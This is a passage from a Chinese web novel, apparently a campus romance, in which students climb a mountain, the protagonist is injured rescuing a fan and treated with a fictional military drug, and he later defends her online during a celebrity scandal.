他诧异地举着包装袋看,“什么东西,这么牛。” 张锦程发觉两人掉队,从上面走下来,“怎么了?” “累死了,给老幺要了点……”林启正突然手就开始抖,“老、老幺。” 温绒以为他吃出什么病了,惶恐地伸手扶他,“怎么了,学长你没事吧?” “这这这这……”林启正好像喉咙被卡住了,一边晃着包装袋一边递给张锦程看,“完了完了,社长。军方专用,我我我我……” 温绒:“啊?” 张锦程眯眼瞧,张麟也被吸引过来,“什么东西?” 林启正更用力甩袋子,“这个,是军方专用的特殊补充剂,联邦规定这种东西只能军方使用,我犯法了!” 张麟瞪大眼睛,一把抢过包装袋折好放进包里,“小心点,别被别人看见。” 随即问温绒,“老幺,你怎么会有这种东西。” 温绒清澈眨眼:“莱昂学长给我的。” “……” “……” “……” 林启正沉默片刻,忽然伸手捧起温绒的脸,“老幺,我要是也长你这么漂亮就好了。” 温绒:“?” 张麟拍开他的手,“你下辈子也长不成这样,继续爬吧,天都快亮了。” 林启正不死心又想捞温绒,张锦程伸手拎起他的包,“别闹,继续爬。” 四人重整旗鼓正准备继续爬,忽然听到上面传来几个女生的惊叫。 山上灰蒙蒙的,借着一点深蓝色的天光,四人看清一团黑影从楼梯上滚下。 山路陡峭,修建楼梯时每一阶又短又高,几乎没有任何缓冲的余地,黑影跟球似的速度越来越快。 温绒晃眼间好像看见刚才送自己手绳的女生,脑子尚没有反应过来,身体已经冲上去- “对呢,我表哥忙着军……他那边的事,安排我来当眼线。任务要求很简单,要是有弗罗里曼学院其他的人打扰我未来嫂子,就行动!” 蒋稚月体力不好,没爬多久就要休息,在去上厕所的间隙,时野想明白很多事,询问伊芙琳事情是不是真如自己所想。 伊芙琳倒也坦诚回答,毕竟她是莱昂表妹,两人四舍五入算是一块长大。 “不过我比较想跟我家宝宝单独相处,所以我决定把这个光荣的任务交到你手上。” 这也是伊芙琳半路停车邀请时野的原因。 “怎么样?要不要帮帮我哥这个忙?” 山上的冷风一吹,时野表情难看,“不要。我走了。” 说着真的要下山,伊芙琳连忙喊:“你还背着我哥给温绒特地准备的医药箱,你走了温绒怎么办。” “爬山而已,死不了人。” 伊芙琳正想新的说辞,蒋稚月甩着手走出来。 她顿时便不想了,时野爱去不去吧,一点都不重要。 随即她扑到蒋稚月身上去,“宝宝,好累呀,我要喘不上气了。” 蒋稚月冷漠推开她,“别闹,刚才温绒发消息过来说他受伤了,需要医药箱。” 第53章 第 53 章 我们做朋友吧 “血……血止住了吗?” 林启正抽纸递给张锦程, 窝囊得甚至不敢睁眼看温绒的手。 刚才温绒左手抓着护栏右手去扶滚下来的“球”,扶是扶住了,左手承担所有冲力, 在铁链子上一刮,掌心像在绞肉机里绞过似的,除了能看见形状,其他全被血液糊住。 张麟为了缓解气氛调侃,当年李莫愁在门上留下血掌印应该也把手弄成这样,林启正承受不住这个笑话,直接当场表演昏厥。 相比之下, 当事人温绒冷静得可怕,还让张锦程帮忙摸手机打电话给时野。 不过时野没接,他想起自己加过蒋稚月, 转而给蒋稚月打了电话。 张锦程握着温绒的手发抖,“血还在流,估计要等他们来帮忙处理一下。” 林启正眯着眼睛结结巴巴提醒:“老幺, 你要是痛就哭出来啊,学长肩膀借你。” “我没事, 谢谢学长。”温绒摇头。 “你手都在抖!” “只是身体反应。” “要不我们下山去医院吧,这么多血,就算他们上来也处理不了。” “真的不用,就是皮被刮破了而已。蒋稚月他们应该很快上来, 消毒包扎一下就行,那个女生……” 出事后一伙人短暂停在一处台阶,温绒被三人围着,女生也在另一头被朋友们围着,两边都有伤员, 谁都来不及顾及谁。 温绒一问,三人通通回头。 滚下来的女生趴在朋友怀里哭,除了衣服上留着温绒刚才扶她沾下的血,似乎没有其他伤口。 也是三人这一回头,几个女生意识到什么,连忙扶着朋友来跟温绒道谢。 温绒手被张锦程控制着,行动不便,刚说“不用”,几个女生背后出现灰色的脑袋,手臂一伸把人拨开,巨大的背包落在温绒脚边。 “哪里受伤了?” 张锦程抢先回答:“手。” “手给我。” 时野的语气不好,有种不容拒绝的威仪,张锦程连忙拽着温绒的手递到他面前。 凌厉的眉头轻皱,从包里翻出个瓶子,迅速拧开往伤口上冲刷。 液体哗啦撞在肉上,温绒不禁倒吸口凉气,后背发冷。 “知道痛还折腾,怎么弄伤的?” “刚才那姑娘从上面滚下来,老幺去扶的时候被护栏上的铁链刮伤了。”林启正解释完连忙道,“时、时哥,你轻点儿啊,轻点儿,我们老幺细皮嫩肉的,受不住。” 女生也道,“怪我没注意,一恍惚就掉下楼梯了,对不起对不起。” 时野用力闭了闭眼睛,把瓶口放到温绒腕上,缓慢倒出。 温绒又“嘶”一声,时野忍不住说:“不是,自己什么水平不知道吗?怎么敢去救人。” “可是——” “可是什么?” 温绒犹豫了下,“她是我的粉丝,送了我手绳,还祝福我。楼梯这么长,万一她摔死了怎么办。” “……” 时野不再说话,低头把温绒手掌上的血污全部冲散,掌心露出一条约莫三厘米的伤口,其他地方也有伤口,只是没有这道口子触目惊心。 “哇,怎么弄了这么大一道口子。”伊芙琳不知道什么时候赶了上来,举起手机对着温绒的手拍照。“我得给我表哥看看。” 蒋稚月推开她,“让,别碍事。” 说罢蹲到时野旁边,“我来弄。” “不用,快好了。” 时野又从包里摸出瓶液体倒在温绒手心,凉凉的,竟然不痛,流入伤口后血竟然不再外涌。 温绒以为到此结束,时野回头跟蒋稚月说:“第三个口袋夹层有防感染的药,帮我拿出来。” 蒋稚月动作快,往里一翻,立马摸出支药剂一样的东西。 只是又突然浑身一顿,眼睛瞪大,“这是——” 时野伸手一把夺过,再次翻包,从夹层里取出针管一样的东西,头一拆开,露出尖锐的针管。 温绒幻视针尖上闪过一抹冷漠地晶光,下意识缩手。 时野斜他,“想死吗?” “为……为什么打针?” 蒋稚月这个专业人士回答:“伤口太大容易感染,要么现在打一针,要么下山去医院打一针,都一样的。” 看来是一定要打了。 温绒深吸一口气,乖乖伸手。 “轻一点可以吗?我……”有点害怕还没说出口,抬眼看见林启正两只手都在蒙眼睛,比他这个挨针眼的人还要恐惧。 喉结上下一滚,温绒低头,“打吧。” 蒋稚月跃跃欲试,两眼放光,“这位……伊芙琳的朋友,能不能给我试试,我专业学医5年,蝉联五年奖学金……我我我我想体验一下b型3671。” 林启正瞬间把手从脸上挪开,“b型3671?!” 时野瞪过去,“不说话没人当你是哑巴。” “那么牛逼的——” 张麟眼疾手快蒙上林启正的嘴。 温绒困惑地看着时野把针头插进药剂里,“b……是什么?” “军用野外神药。”蒋稚月凑近温绒小声科普,“被眼镜蛇咬一口都能立马给你救回来,据说只有精锐部队才有资格使用,我这辈子要是能研究出这么牛逼的东西,我可以在全世界横着——” “啊!”温绒的尖叫打断蒋稚月。 因为时野趁他不注意,把针头插进肉里面去了! “不准动。” 温绒憋屈忍耐。 一管药剂打了十年似的,第一次觉得时间漫长,冰凉的,带着点刺痛。 打完后温绒还缓不过神,时野先收拾好包坐在旁边,两条腿大大咧咧叉开,阴沉沉的脸好像有说不完的心事。 蒋稚月遗憾望着温绒手上的针眼,有叹口气,“你休息下,我去看她的情况。” 蒋稚月到女生那边检查情况,索性只是擦伤,接着时野刚才没用完的部分一并帮她处理了。 只是女生一直在哭,温绒以为她跟自己一样被液体碰到伤口觉得痛,可伤口处理完,女生哭得更伤心。 蒋稚月都忍不住蹙眉,“好了,就是擦伤而已,不会死的。” “我、我不是因为这个哭。”女生抽咽,又抹眼泪看向温绒,“真的谢谢你,儿子。” 温绒:儿子? 时野抬眸瞥一眼温绒。 鉴于女生情绪不好,温绒自动忽视这个称谓,用没受伤那只手挠了挠头,“那你因为什么哭。” 本来还控制得住,他一问,女生皱起鼻子哭得更大声,“我……我……” 女生的朋友连忙上去拍她的背安慰,“别哭了别哭了”“没事的。” 场面尴尬起来,罪人·温绒颇感抱歉,他硬着头皮走到女生面前,“有什么难过你可以说出来,我帮你想想办法。” 话音刚落,肩膀被向后一扯,林启正跟他耳语,“老幺,你都不知道人家有什么困难帮什么忙,万一帮不上呢。” 张麟紧接着说:“对,而且你不认识她,你也不知道她是好人还是坏人,万一她是个坏人,你帮她忙不是害人吗?” 温绒诚心接受两位学长的建议,心想自己还是不够成熟,想不到这些方面。但抬眼又看到女生哭得上气不接下气,而且短短的接触下来,感觉女生除了喊自己“儿子”,其他没什么讨人厌的地方,顿时有些左右为难。 “对,你有什么困难说出来,我们帮你想办法。”蒋稚月在这个时候给了温绒一些鼓励。 在温绒准备继续问之前,伊芙琳不再看戏,伸手搭在蒋稚月肩膀上,“别怕,我们都是弗罗里曼学院的学生,没什么困难是我们解决不了的。” 弗罗里曼学院无疑是一剂强心剂,女生深受鼓励,深吸了口气说:“我刚接到电话,我老公跟我公司的模特搞在一起了,转移了我的资产。” “哇,你这么年轻就结婚了?”林启正脱口而出,随即被张麟一巴掌捂住嘴。 温绒没想到竟然是小三插足那些事,有些尴尬地愣在原地,目光先往张锦程身上瞥,看张锦程没有反应,而后看向坐在旁边的时野。 不知道是不是巧合,视线在第一时间对上,温绒在时野脸上看到烦躁的情绪,忙不迭回头。 脚步声响,时野走到温绒身后,“按照联邦法律,起诉你老公属于民事纠纷,要自己找证据,但是起诉模特涉嫌职权侵害,检察院会为你追回资产,成功率80%。” 伊芙琳跟着时野说:“作为法律系学生,我证明他说得对。再友情提醒一下,你起诉小三前要短暂地跟你老公释放一下你原谅他的信号,先骗他陪你整治完小三,你再转移资产起诉离婚,有前案,离婚胜率翻倍哦。” 这几乎可以说是非常专业可行的建议,女生张大嘴巴,都忘记了哭。 正在这时,一抹橘色的光落在温绒的头顶,带着热量,暖烘烘的,他转头,极浅的眸子染上白金色,晶莹得仿佛玉石。 “出太阳了。” 张麟扶额,“是日出了。” 空气瞬间陷入沉默。 日出了,也就是说——计划失败。 爬山对新闻社的四人来说是一项剧烈运动,可能这次来以后再也不想来了,意识到没能看到日出,每个人眼里都流露出遗憾。 张锦程浅浅瞥一眼山下,“老幺,你还能爬吗?” 没能看到日出,温绒蔫蔫的垂头,“可以。” “没事的。”张麟伸手搭在温绒肩膀上,“事情也帮她解决了,我们继续爬吧。好不容易来一趟,也爬到这里了,去山顶看看风景也行。” 林启正附和:“对对对,去看看风景也行,据说还可以看到弗罗里曼学院。” “嗯……” 温绒忍着失望把兜里的卫生纸递给女生,“我不会安慰人,这个卫生纸给你,你要是难过就使劲哭出来,哭出来真的会感觉好一些。你家里的事……那些事你可以听一听刚才他们说的,用法律维护好自己的资产。别担心,你不是一个人的,你看你朋友们都在你身边,她们会一直支持你。” 女生环顾四周,在朋友的眼神中得到勇气,接过卫生纸重重点头。 温绒转身要走,女生又喊住他,“儿——” “那个……能不能不要喊我儿子。”温绒有些为难地开口。 “对不起对不起。”女生改口,“温绒,可以给我你的联系方式吗?” “不可以。”时野抢在温绒之前先开口,“他算是公众人物,不能暴露联系方式。” 女生急忙向温绒解释,“不不不,我没有骚扰你的意思。今天真的很谢谢你,等我把事情处理完,请你吃顿饭。” “你先把老公的事情解决了我们才算帮上忙。”时野又一次帮温绒回答。 女生微愣,而后反应过来不止是温绒,时野跟伊芙琳也帮了她大忙,连忙点头,“真的谢谢你们,等我把事情解决了,请各位吃饭。” “嗯。” 时野坦然接受女生的道谢,伸手提起温绒的包,连他人一起抓着往上走。 一高一矮穿着一模一样的冲锋衣,又靠得近,从背后看像是一对小情侣。 两人拐了个弯,看不见那群女生的人影了,温绒忍不住说:“可不可以放开我?” “包给我。” “啊?” 时野不再说话,伸手先把包带扯了下来,随后再也不看温绒,背着大包,又拎着温绒的包大步大步往上走,高挑身影很快甩开他一大截。 运动员的身体素质就是好,负重爬山不累不喘,速度还那么快。 温绒既羡慕,又疑惑,望着时野的背影一边思考一边爬山。 他看得出时野的表情比之前更难看,惯常紧皱的眉头出于最自然的状态,唇角也耸拉着,好像浑身都没有什么力气。 想着想着,视野在不知不觉间开阔。 风吹过来,又吹向远处连绵的云海,浪似的从山头翻滚而过。 靠近太阳的位置白云变了色,像是被火烤过似的,边沿都变成焦糖色。 温绒的脑子瞬间被清空,第一次站在这个高的地方看风景,只剩心潮澎湃。 “老幺老幺,你看那儿。”林启正拍温绒的手臂,“那边云跟瀑布一样往下流。” 温绒顺着林启正的手望过去,忍不住赞叹,“好漂亮。” 林启正摸出手机咔嚓咔嚓拍照,“不枉我爬两个多小时的山呐,这一趟值了。” “嗯嗯。” 温绒的眼睛顺着云流的方向移动,转半个圈,无意间看见站在另一个山头的时野。 伊芙琳黏着蒋稚月拍照,他落了单。背着最大的包,手里还拎着个包,冲锋衣像一个坚硬不透风的套子,让他隔绝外界,只能独自看山顶风景。 不过时野一动不动的,应该没看见刚才林启正学长指给温绒的瀑布云。 温绒思考,是不是该指给时野看看? “老三,老幺,过来合影。”远处张麟忽然喊。 “好嘞!”林启正拉温绒,“走,咱们得拍张照纪念一下。” 温绒收回视线- 上山耗尽了体力,昨夜也睡得少,下山时所有人一致决定乘坐缆车。 四人一车的规格,时野猜测新闻社四人刚好一车,伊芙琳绝对想跟蒋稚月单独一车,出于不像跟别人在封闭空间里单独相处的原因,他给自己买了四张票,把包丢进缆车,弯着腰进去。 正要坐下,车身突然晃动,他身后跟进一个人。 “这车我已经包了。”边说边回头,看见莱昂的冲锋衣坐在对面,时野下意识皱眉。 “我没钱买车票。”温绒摘下帽子小心翼翼地解释。 穷鬼。 时野在心里骂,骂完抱胸偏头看向窗外。 2千米高空的风景对他来说不是什么稀罕物,扫一眼便觉得无聊,忍不住回头,跟温绒对上视线。 在吐槽新闻社其他三个人怎么不给他买张票之前,时野忍不住先问:“看着我干嘛?” 温绒眨眼睛,身形被充满过大的冲锋衣衬得格外娇小,皮肤瓷白瓷白的,被太阳镀上一层金光。 白金色的眼眸上下跳动,温绒沉寂几秒,随后摸出手机在屏幕上一点,并不算好的喇叭发出声音:“请理解容易生气的人,他们都是被逼疯的可怜人,心中有苦说不出——” 时野:? 时野:“把你的中老年诈骗视频关掉。” 温绒肩膀一耸,暂停视频小声反驳,“不是诈骗视频,我觉得它说得很有道理。” “就你这没见过世面的样子,你认为什么没有道理?” 温绒沉默了下,“你是不是没有朋友。” 现在是什么世道?轮到温绒来说自己没朋友了? 时野被气笑了,“你在说什么笑话?” “齐元现在跟时竞一块儿,莱昂学长总是在忙社团的事,你——” “闭嘴!” “我可以当你的朋友的,你有什么难过的事情给我说,说出来你就不用打沙包或者打墙发泄了。” “放屁,你是什么东西,凭什么当我的朋友。” 温绒闭上嘴了,跟机关枪忽然熄火似的,缆车内静得只能听到头顶滚轮滑动。 距离地面越来越近,缆车经过山峰,阳光从温绒脸上褪去。 他戴上冲锋衣的帽子,帽檐过大,甚至遮住了眼睛,只剩小嘴开合:“你也不是东西。” 时野不屑冷笑,“会不会骂人,就这点水平还敢冲上来跟我说这些。” “你朋友都不要你。” “……”时野笑容僵住。 “他们都去找时竞。” “……” “每个人都喜欢时竞。” 时野暴怒,“艹!” 温绒盖着帽子丝毫不惧,还跟着骂了句“艹”。 “你敢不敢把帽子摘下来再说一遍。” “……艹” “没种摘帽子有种学我说话是吗。” 温绒犹豫了下,“我手疼,摘不了。” 时野被逼急了,“把头伸过来,老子给你摘。” 温绒真从善如流地把脑袋凑到他面前,时野一时间对这个黑色的帽子也愣住了。 他无语片刻,摁着脑袋推回去,“你到底想干嘛?” 温绒自己摘下帽子,清澈眨眼,“跟你吵架。” “……” “你别不说话,你也骂我,骂出来心情就好多了。” “你神经病吗?” “我刚才看到你一个人站在山上,有些风景没人提醒你看,你看到的也没办法分享给别人,我觉得你有点孤独,跟我以前很像……” 温绒抿唇想了想,继续说:“其实你是个很不错的人,以前我们之间存在很多误会,但我今天仔细想了想,那些事其实都跟我们本身没有关系,我们也不应该因为别人影响到自己。所以你有什么心事可以跟我说的,不要再憋在心里了,总是打沙袋砸墙,万一骨头受伤了还怎么打网球。” “……” “不可以吗?” “……” “或者你把我当树洞,有什么不开心的事倾诉出来,我绝对不说出去。” 时野别开脸,缆车过穿过山头,阳光一照,眸光粼粼。 “跟你做朋友,我就真的没朋友了。” 第54章 第 54 章 别扭 温绒听不懂时野说的意思, 不过他大概知道自己被拒绝了。 随即深吸一口气,把帽子戴上,转头看向窗外。 缆车穿过遮天蔽日的云层, 再也看不见阳光,一切都暗下来,就连空气都有些冷。 “那个……” 温绒试图开口,但张开嘴发出声音,又不知道该说点什么,默默闭上嘴。 时野也不说话,温绒不知道他的表情, 但猜测应该阴沉沉的,不怎么好看。 时间再漫长,缆车也终于到站。 温绒下缆车后回到新闻社的三位学长身边, 跟伊芙琳和蒋稚月道别,驱车离开。 林启正跟张麟对视一眼,开□□跃气氛, “老幺,你会做饭吗?” 温绒神思归位, “我不会做饭,但我可以洗菜,我以前都帮阿姨们洗菜的。” “行啊。”林启正搂温绒的肩膀,“好不容易出来一趟, 我们晚上去张麟那边吃饭,睡一夜,明天再回去。” 说是这么说,晚上张麟以温绒手受伤为理由把他摁在客厅看电视,洗菜到做饭甚至收尾工作都是他们三自己做。 四人周日中午才回到学校。 温绒把张麟学长洗出来的照片放在书桌前, 学习没几分钟就要看照片,来来回回,唇角没落下来过。 真开心,跟学长们一起爬山看日出,这完全就是他梦想中的大学生活。 与此同时,网球社群聊闹翻了天。 [到底是谁说新闻社要去泡温泉,幸好老子进门前披了块浴巾,不然清白不保。] [别说了,我为了找女神全场逛了一圈≈被全场看光了。] [看光不要紧,谁小谁尴尬。] [那我肯定是不尴尬的,每周三次健身,没给女神看到实在是太可惜了。] [说起来,没想到时竞竟然一块肌肉都没有,他不是时野弟弟吗?同一个爸出来的,怎么身材差别那么大。] [不仅身材差别大,身高差距也很大啊!控制变量法证明,是妈的问题。] 话题差点转移,群里一个“艹”id的账号发出消息:[新闻社有人发蓝书了,他们去爬山。] [卧槽!一个山一个水,差了十万八千里,到底是谁说的温泉,老子现在就去翻聊天记录,找出来弄死他。] 艹:[新闻社外出实践,只有学生会能看到流程。] [额额额当我没说。] [经此一遭,老子再也不信学生会透露的消息了。] [+1] [+11111昨晚做梦都是裸男,眼睛脏了,脑子也脏了。] [何止啊!老子还被人摸屁股了,人太多了,也不知道是哪个傻x色胚觊觎老子。]- 新的一周,温绒把许秋老师安排的所有书看完,已经基本能听懂上课时老师讲的东西。 天气预报说夜里有风,温绒上完课到图书馆自习,没多久,弗罗里曼学院上方乌云密布,开始下雨。 温绒抬眼看图书馆的灯,第一次觉得这光线白得发蓝,才六点,窗外已经昏暗,失去叶子的树枝像怪物的指甲,在风雨里伸展摇晃。 滋—— 手机震动,温绒看到新闻社群里来了新消息。 张锦程:[这周都忙,不去100室了。] 刚把消息看完,面前坐下一人,正正是张锦程。 只是两天不见,他好像十年没睡好觉,下眼睑跟金鱼似的肿涨,黑眼圈明显。 “学长,你是不是没睡好。” “没事。” 温绒看见张锦程翻开硕大的牛皮纸画本,寥寥几笔勾勒出一个身材姣好的女模特。 张锦程抬眼,“你忙你的,不用管我。” “哦哦。”温绒继续看书,可是没几秒钟,他莫名感觉到张锦程的视线,好奇问:“社长,你怎么一直在看我。” “找灵感。” “啊?” 张锦程把画本递给他看,“米璐璐的照片张麟给我看了,我觉得你很适合穿这类型的裙子。” 温绒一愣,心想自己一个男的怎么会适合穿裙子,但裙子很漂亮,抹胸短裙,蓝色的,弧度像水母,裙边缀着亮晶晶的丝线。 有点……好看。 “学长,这条裙子会做出来吗?” 张锦程:“会。做古制太难了,要找布要找绣娘也不卖座,我打算改成这种风格。” 温绒明白了,学长要“重新出发”,思索了下看过的视频,正要找两句鼓励的话告诉张锦程,余光突然看见一个高挑健硕的人影。 他偏过头,看清那人是谁,尽力弯了弯嘴角。 对方愣了下,仓促转身离开。 “那天你们在缆车上说了什么?” “啊?”温绒回头。 “你不想说也可以,那天你们从缆车上下来气氛不对,启正还猜他告白失败,都不敢问你。” 什么告白?! 温绒瞪大眼睛,“没有没有,我只是去去问他是不是有什么心事,他看起来心情不太好。” “真的?” “真的。”温绒郑重点头,“林启正学长的八卦不可信,我跟时野不是那种关系。” “可是他甚至舍得给你用b型3671。” 温绒又一愣,“啊?那是……” “你受伤后给你打的药,军方精锐部队专用,造价五百万一支。” “五百万!” 温绒觉得把自己卖了都不值这么多。 他努力十多年才得到政府给的50万,怎么一管小小的药就要500万。 那这个药他用了,是不是得还时野500万。 “不过一支药剂对他来说应该不算什么,他家多。”张锦程刚说完,手机来了消息,眉头一皱,“老幺,我有事,先走了。” “这么……” 话没说完,张锦程已经不见人影。温绒看向刚才时野站的方向,也没人影了。 他想着500万,没心思学习,正好听不到外面雨声,收拾东西,把包往肩膀上一背,迅速走出图书馆。 哗啦啦啦 天不遂人愿,刚走出去几米,豆大的雨点砸在脑袋上,温绒忙不迭跑回门口。 雨声冲进耳朵,仿佛跟雨一起关进了卫生间。 温绒摸出手机看天气预报,专家预测这场雨会持续一个小时,无奈叹气,脖子一缩准备转身回图书馆。 正在这时,背包被撞一下。 “不好意思,我没注意……”声音渐渐散进雨里了。 时野阴沉沉地低着头,背光,看不清脸上表情,但温绒莫名有种熟悉的感觉——时野又后悔了。 温绒因为无知犯过很多错,但这段时间他刷蓝书了解了很多事情,知道时野这种反复无常一会儿生气一会儿道歉的情况叫作别扭。 有些奇怪的性格,但也不算太讨厌。 “雨好大啊。”他闲扯着话打破这寂静。 “……” “你也没带伞吗?” 时野走到他旁边,从包里摸出团东西,噔——伞跟器械似的一把撑开。 温绒:“……” 短暂的两秒钟里他稍作思考,果断开口,“那个……你能不能送我一程。” 高挑的身影瞬间定住。 温绒在时野眼睛里看出了犹豫,先一步把包背到前面来防止被雨水打湿,“我没有伞。” “……” “我真的没有伞。” 正常人这个时候应该扮可怜的,最好掉点眼泪才显得真的需要帮助。 但温绒表情匮乏,眨着眼睛愣不愣登地仰头看时野,在时野看来,有点过分地理直气壮。 时野浅浅吸口气,告诉自己,按道理该莱昂自己照顾好温绒的,但莱昂这段时间显然忙着事,自己帮温绒算是帮莱昂。 做好思想准备,时野把伞往右边靠,“你站右边,左手的伤碰不了水。” “哦哦。” 温绒陀螺似的换个方向站,跟着他一起走下台阶。 “那个……” 时野蹙眉,“又怎么?” “那个b型——” 他打断他,“不是我的,莱昂的医药箱里本来就有。” “没有的,学长给的每一件东西我都记着。” 时野眼底一暗,“记那么清楚干嘛。” “我怕给学长弄掉了。” “哦。” 后路无话。 雨很大,从图书馆到宿舍的一路时野安静得只有雨声。 温绒上半身没有湿,袜子都湿透了,踩着水上台阶准备给时野道谢,谁知道时野转身就走,不给他任何机会。 温绒无奈抱着书包进大门,一边上楼一边问系统,“哥哥,时野到底什么意思呢?” 【……】系统心有预感,勉强打开并没关注过的好感度面板一看,果然时野跟莱昂对宿主的好感度是满格。 不过它一个系统哪里知道时野为什么有这些奇奇怪怪的举动,只问:【宿主为什么要管他。】 “可能从知道他爸爸妈妈的情况开始就有一点同情他吧。” 温绒在宿舍门口搓了搓鞋底,把水渍全部弄干,才进门回答系统,“我知道没有爸爸妈妈的感觉,很能体会他的心情。” 【也不是所有人都需要你去帮助的。】 他拉上窗帘,把湿裤子脱下来,“我没有帮所有人,我只是帮我觉得不错的人。” 【或许他们并不想要你的帮助。】 “我这段时间看蓝书发现,很多人不是不想被帮助,只是不想被帮倒忙。” 【……】 系统被堵,大为震惊:宿主什么时候这么能言善辩了! “所以时野应该还需要其他的帮忙,我在蓝书上搜一搜。”说做就做,换好裤子后温绒坐下来,打开蓝书。 刚点开搜索栏,还没输入关于时野的问题,注意力被热搜吸引。 今天热搜都是同一个名字,因为有着“赵氏传媒”的字眼,他联想到赵泽阳。 温绒怀着好奇点进去,发现跟赵泽阳没什么关系,词条内容是某位男明星隐婚,被结婚对象曝出婚内出轨还联合小三转妻子资产。 看着看着,他忽然觉得有些耳熟,鬼使神差地继续刷,很快在各种各样的信息中看到当事人的照片——竟然就是爬山那天遇到的女生! 女生在账号里贴出了跟男明星结婚的证据,不知道是不是中间出了什么意外,她没有按照伊芙琳所说的先联合男方对方小三,而是在网络上跟男明星撕破脸,法院那边起诉小三。 男明星的粉丝并不死心,在女生的账号下反驳女生发出的一条条证据。 温绒看出那些都是没有道理的谬论,顿时眼睛一亮。 先把手机放好,仔细看女生发的证据,一条一条确认真实性,最后点开女生的蓝书评论区,用女生的证据一条条反驳谬论。 一边反驳,一边截图截图截图。 发送发送发送。 今天任务完成! 温绒:[学长,我完成任务了。] 林启正秒回:[啊啊啊啊啊老幺,你没有切小号,你会被骂死的。] 温绒:………… 啊? 下一秒,温绒手机狂震,手心酥麻。 第55章 第 55 章 不想关注 后台消息跳得太慢, 温绒看不清内容,倒是林启正的消息狂跳。 [欸!老幺,你怎么这么轴呢, 男明星的脑残粉岂是你可以招惹的,你都不知道她们有多狠。] [我帮你编号一套被盗号的证据,等会儿你就说你被盗号了。] [再不济从此你退网,反正你学数学也用不到互联网。] 温绒困惑,并不理解为什么男明星的粉丝不好惹。 他们难道比弗罗里曼学院里的这些人还不好惹吗? 也是好奇心作祟,温绒点开蓝书,铺天盖地的马上充斥着屏幕, 于是他彻底明白为什么林启正学长那么紧张。 忽略人生攻击的话,温绒看到一条奇怪的询问:[为什么帮这个女人说话?难道你是他养的小白脸?] 温绒回复:[男方出轨证据这么充足,你为什么要骂这个女生?] [你谁啊你, 关你屁事?] 温绒在时野那里积累了丰富的应对气话经验,淡定回复:[你又是谁?] 这次对方没来得及回复,先有消息跳出来。 [家人们先别骂, 这是弗罗里曼学院的学生。] 画风由此突变。 [哇,活的弗罗里曼学院学生。] [天哪, 我骂不出来了,这位自带名校滤镜,我无脑支持他。] [点进他的主页,你会发现名校滤镜一点都不重要。] [妈呀, 点进去我就昏迷了,这脸不比你们家哥哥好看。] [就凭这长相,这学历,不管怎么说都是你家哥哥的错。] [我去看了证据,捶死了, 男方就是入赘还软饭硬吃。] [好恶心,希望他退出娱乐圈。] 温绒望着不断弹出来的新消息,陷入沉思。 正巧林启正又发消息来:[老幺,刚才那些话你就当没看见,是学长忘记把你的颜值代入公式了。] [可是很多人都在说“弗罗里曼学院”,应该跟我长什么样没关系。] 温绒猜,弗罗里曼学院在很多人眼里的地位堪比清华北大,自己说这些能得到支持完全是沾了学校的光。 林启正:[还是有点关系的,你这种颜值,讲话比较有份量。] 份量。 温绒第一次听到这个词,但莫名地就想明白一些事。 因为自己被学校赋予“份量”,所以自己的观念得到很多人的支持。 第二天网上关于这件事的舆论彻底改变,温绒没特地关注,是到100室时林启正告诉的他,女生不仅特地@温绒进行了感谢,还提及那天爬山他救她的事情。 再则温绒之前救张婉菲跟时竞的新闻被重新提起,“温绒”两个字稳稳挂上热搜。 网上对他的好评多得不得了,粉丝还从50万飙升至400万。 这事依然是林启正告诉他的,林启正比他还关注他蓝书的粉丝量。 一边关注,还一边捶胸顿足,“唉,我好嫉妒!我现在要平个方才能有老幺这么多粉丝了。” 张麟闲闲地调侃,“怪你自己呗,那天你不也在场吗,一没救人二没帮忙。” 林启正扶额,“就是在场才超级嫉妒,错过了扬名立万的好机会。” “命里无时莫强求。” 林启正双手爬到桌子上痛哭出声,“呜哇,我都不求400万粉丝了,给我4万就行,求求了。” “粉丝多有什么用吗?”温绒的视线在两人之间来回逡巡,满脸茫然。 “当然有用。”林启正蹭地坐起,“你看那谁,咱学校里开演唱会的那个,虽然我觉得他的歌难听,但他的脑残粉巨多,每年都全世界开演唱会,赚老多钱了。” 张麟:“而且400万粉丝的博主可以接广告,一条报价五六十万,不信你看自己的后台。” 如学长所说,温绒的后台确实收到一些消息,希望他能够帮忙打广告,报价相当诱人,趋近百万。 温绒分辨不清那些东西到底好不好用,通通回绝。 把手机倒扣到桌面上,温绒又好奇问林启正:“学长,你也会需要五十万吗?” “我当然需要!动动手指就能赚钱多好,不然你以为那么多弗罗里曼学院的学生又上综艺又玩蓝书是为什么,还不就是为了毕业后能动动手指就赚个几十亿。不要以为学长家有钱就认为学长不需要钱,越是当过有钱人才越知道有钱的快乐。” “原来如此。” 温绒敏锐地捕捉到一个信息:弗罗里曼学院的学生都想拥有知名度,因为知名度可以轻松赚钱。 林启正学长也是。 温绒没有忘记林启正学长为自己背上的黄牌。 有什么办法可以让林启正学长变成让所有弗罗里曼学院学生拥有知名度的大功臣呢? 温绒几乎没有思考多久,一个模糊的计划在脑子里慢慢生成,目光从手机转移到林启正身上。 林启正一愣,“用这种眼神看我干嘛?” 接触过一段时间,温绒了解林启正的性格,直接说他肯定会拒绝,并表示自己能力不足。 所以温绒先摇头,“没什么”,随即打开黒鸽论坛发帖: 《这种软件,能帮助所有人走向成功》 小编发现,普通人因成长环境、自身素质等原因,面对困难时不知道该如何保障自身权益。 现希望有能力的校友们帮忙做出一款软件,实现一部分人用自身才华为普通群众提供建议的功能。 由于这个标题太像中老年营销账号,所有人出于猎奇心理点进来,把正文看完才发现发帖人是温绒。 [什么鬼?] [这种软件有存在的必要吗?] [为什么要帮普通人?] [新闻社也到了赶业绩的时候吗?] 结果不出温绒的意料,他把这些吐槽递给林启正看,“学长,我被骂了。” 林启正活动手指,“等着,学长现在就帮你骂回去。” “学长,我不是要你帮我骂回去。” 林启正:“嗯?” “你能帮忙做这个软件吗?” “啊?”林启正手指吊在半空,“你说啥。” 温绒激动道,“学长你是黑客,你能做这种软件的吧。” “我……这……” 林启正想给温绒解释黒鸽跟程序员是不同分支!但想到温绒那么呆肯定也不分不清楚,而且温绒满脸期待。 平时温绒脸上很少有这么生动的表情,被这样望着,林启正巨虐的话都有点说不出口。 旁边张麟举着手机看完温绒发的帖子,帮林启正回答,“他可以。” “谢谢学长,学长要好好做!” 林启正:“我没……” 温绒打断他,“学长,新闻我都发了,要是没有人回应,我会好没面子的。” 你什么时候要面子了?!林启正觉得温绒哪哪都透着不对劲,但张麟把手机往他脸上一放,全是帖子里的质疑声,无奈叹气,“好吧。” 